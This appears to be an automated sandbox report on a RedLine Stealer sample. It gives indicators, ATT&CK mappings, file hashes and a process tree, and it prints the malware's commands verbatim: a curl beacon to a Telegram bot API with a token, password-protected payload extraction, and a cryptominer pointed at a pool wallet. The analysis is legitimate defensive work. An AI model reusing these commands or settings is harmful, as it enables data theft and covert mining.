Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    04-12-2021 20:52

General

  • Target

    45bd65b7ec522c1e8aec332d7c29df30036709ff7eb3d69e013d97dad7c6c3de.exe

  • Size

    1.6MB

  • MD5

    294c381e6d73739319d5162013f72162

  • SHA1

    06a8c8ec3c016bc9c381cf5f3b2ff4f1f048ee02

  • SHA256

    45bd65b7ec522c1e8aec332d7c29df30036709ff7eb3d69e013d97dad7c6c3de

  • SHA512

    9b06c050e1b6988f2da0234e42f92b5b9ebfd5614d5e49adc07e9eda7e0e5a8d0cce40914b1441ad31a8738ac977dcedf03550385f638c2feedd60b19312ff10

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45bd65b7ec522c1e8aec332d7c29df30036709ff7eb3d69e013d97dad7c6c3de.exe
    "C:\Users\Admin\AppData\Local\Temp\45bd65b7ec522c1e8aec332d7c29df30036709ff7eb3d69e013d97dad7c6c3de.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3432
    • C:\Users\Admin\AppData\Local\Temp\build.exe
      "C:\Users\Admin\AppData\Local\Temp\build.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl "https://api.telegram.org/bot5015072605:AAF5XYxgx2-1EIccZ_yASWCdHhZ1OC67zr0/sendMessage?chat_id=1437261742&text=%F0%9F%90%B7%20%D0%A3%20%D0%B2%D0%B0%D1%81%20%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9%20%D0%B2%D0%BE%D1%80%D0%BA%D0%B5%D1%80!%0A%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0%3A%20Microsoft Basic Display Adapter%0A(Windows%20Defender%20has%20been%20turned%20off)"
        3⤵
          PID:1060
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2768
          • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:1632
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2332
          • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:1936
        • C:\Windows\bfsvc.exe
          C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0xd245AB3eb63C6cC58f49164595688ACeC5B87F70 -coin etc -worker EasyMiner_Bot -clKernel 3
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:3004
        • C:\Windows\explorer.exe
          C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0xd245AB3eb63C6cC58f49164595688ACeC5B87F70 -coin etc -worker EasyMiner_Bot -clKernel 3
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:2112

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Collection

    Data from Local System

    2
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\build.exe
      MD5

      2db2f599b773f36a2ed6c8797e8882df

      SHA1

      be5f83ef476e83ed5f2a2e77b8046ff86035e0b0

      SHA256

      8303f7eae4b7cb8020a8c0c1a24ee427438fbbcb2803da6b0e3fd8aa43da6910

      SHA512

      2876db33ae2278316bad322edc0d49553109dc49d0010475508d19f2fe16d75115742baec319e7d3a8048605a64b78e8bfc8aa00433ada01a2c1cb5aba43d3d4

    • C:\Users\Admin\AppData\Local\Temp\build.exe
      MD5

      2db2f599b773f36a2ed6c8797e8882df

      SHA1

      be5f83ef476e83ed5f2a2e77b8046ff86035e0b0

      SHA256

      8303f7eae4b7cb8020a8c0c1a24ee427438fbbcb2803da6b0e3fd8aa43da6910

      SHA512

      2876db33ae2278316bad322edc0d49553109dc49d0010475508d19f2fe16d75115742baec319e7d3a8048605a64b78e8bfc8aa00433ada01a2c1cb5aba43d3d4

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.exe
      MD5

      67a55e73dc3e285f5ecad2f52e4606aa

      SHA1

      280b8d8083aac33e1b05078bb6706f155cae47c7

      SHA256

      fc0e21a8e33d53a30207d3e0e3dc9079e253fc623cc4835877cbc39ca7a826a3

      SHA512

      e12b564cc866d3d50246c4326e0086daa3086adf8084f69c1f0fa49a091ed9a2c93ea07a2f6cc4eec30dea54492dbf12950e8e3e7f6c26208f7b57860f362efe

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip
      MD5

      1543b223f63fda679a94d034d23b27ba

      SHA1

      82eb69d0d096ff966679ce92c4fb2dd5a8dd6f1e

      SHA256

      30868a1cadb90f598ec9d96f93650c90883941522134b2e0a2dfeca958958e34

      SHA512

      270de3749322416e371d5177b974450e5e2fbca3570179d2f4811f1fda55aca4ea82cbd0a37d1b56ee8614be154373054b573da854a818caafb41b3cee502f78

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.exe
      MD5

      9d99b4d43e4e7a0408c5fe99b4cc4afe

      SHA1

      702436963243f0de2d431ec29b199505a0aa3b90

      SHA256

      c9e36c039bfc370135feabad11840fe457caec3c4914351461f3f9e115194fb3

      SHA512

      44620e76efc6d0cefc1c6f8eca77c0114d41fbf4d6e1f6ff2287286ff57aca1679a0428b35c757afb96fd31d99de8b9e1d956b89636d9c373248e5c5b5b05754

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip
      MD5

      32ab3a6509fe78d666dcafc5be73f2e1

      SHA1

      c16e1c2716b4ae5b9e5bfb9773d810344b539126

      SHA256

      dd2170bbea158a2c2b8c262c2be9c8d91fc3e86efe7f607fce7a9224a389bdec

      SHA512

      c31ee784de253c4f5c36990959d8e6f74b2b0eeecfd265cab2d5295be33f7af056e144d829adcd754c78e06023816cb3f576110314717ee7e50cc0af507f02fe

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • memory/1060-146-0x0000000000000000-mapping.dmp
    • memory/1152-143-0x0000000000000000-mapping.dmp
    • memory/1632-148-0x0000000000000000-mapping.dmp
    • memory/1936-154-0x0000000000000000-mapping.dmp
    • memory/2112-168-0x0000000000450000-0x0000000000452000-memory.dmp
      Filesize

      8KB

    • memory/2112-162-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2112-171-0x00007FF67F9F0000-0x00007FF67FDC1000-memory.dmp
      Filesize

      3.8MB

    • memory/2112-172-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2112-174-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2112-166-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2112-165-0x0000000000450000-0x0000000000452000-memory.dmp
      Filesize

      8KB

    • memory/2112-163-0x0000000140E36784-mapping.dmp
    • memory/2112-179-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2332-153-0x0000000000000000-mapping.dmp
    • memory/2768-147-0x0000000000000000-mapping.dmp
    • memory/3004-164-0x000002019BAD0000-0x000002019BAD2000-memory.dmp
      Filesize

      8KB

    • memory/3004-159-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-180-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-177-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-175-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-173-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-170-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3004-169-0x00007FF7B6020000-0x00007FF7B63F1000-memory.dmp
      Filesize

      3.8MB

    • memory/3004-167-0x000002019BAD0000-0x000002019BAD2000-memory.dmp
      Filesize

      8KB

    • memory/3004-160-0x000000014165D878-mapping.dmp
    • memory/3432-128-0x0000000005A90000-0x0000000005A91000-memory.dmp
      Filesize

      4KB

    • memory/3432-126-0x0000000005F70000-0x0000000005F71000-memory.dmp
      Filesize

      4KB

    • memory/3432-131-0x0000000005950000-0x0000000005951000-memory.dmp
      Filesize

      4KB

    • memory/3432-130-0x00000000764C0000-0x0000000076A44000-memory.dmp
      Filesize

      5.5MB

    • memory/3432-133-0x0000000005A00000-0x0000000005A01000-memory.dmp
      Filesize

      4KB

    • memory/3432-134-0x0000000072990000-0x00000000729DB000-memory.dmp
      Filesize

      300KB

    • memory/3432-129-0x00000000059C0000-0x00000000059C1000-memory.dmp
      Filesize

      4KB

    • memory/3432-142-0x00000000073C0000-0x00000000073C1000-memory.dmp
      Filesize

      4KB

    • memory/3432-127-0x0000000005960000-0x0000000005961000-memory.dmp
      Filesize

      4KB

    • memory/3432-118-0x0000000000A20000-0x0000000000B92000-memory.dmp
      Filesize

      1.4MB

    • memory/3432-135-0x0000000005CF0000-0x0000000005CF1000-memory.dmp
      Filesize

      4KB

    • memory/3432-132-0x0000000074790000-0x0000000075AD8000-memory.dmp
      Filesize

      19.3MB

    • memory/3432-125-0x0000000002EE0000-0x0000000002F25000-memory.dmp
      Filesize

      276KB

    • memory/3432-124-0x0000000072E10000-0x0000000072E90000-memory.dmp
      Filesize

      512KB

    • memory/3432-136-0x0000000005E10000-0x0000000005E11000-memory.dmp
      Filesize

      4KB

    • memory/3432-122-0x0000000000A20000-0x0000000000A21000-memory.dmp
      Filesize

      4KB

    • memory/3432-137-0x0000000006A80000-0x0000000006A81000-memory.dmp
      Filesize

      4KB

    • memory/3432-121-0x0000000076210000-0x0000000076301000-memory.dmp
      Filesize

      964KB

    • memory/3432-138-0x0000000005EB0000-0x0000000005EB1000-memory.dmp
      Filesize

      4KB

    • memory/3432-120-0x0000000073E20000-0x0000000073FE2000-memory.dmp
      Filesize

      1.8MB

    • memory/3432-139-0x0000000006950000-0x0000000006951000-memory.dmp
      Filesize

      4KB

    • memory/3432-140-0x0000000007450000-0x0000000007451000-memory.dmp
      Filesize

      4KB

    • memory/3432-119-0x0000000001240000-0x0000000001241000-memory.dmp
      Filesize

      4KB

    • memory/3432-141-0x0000000007B50000-0x0000000007B51000-memory.dmp
      Filesize

      4KB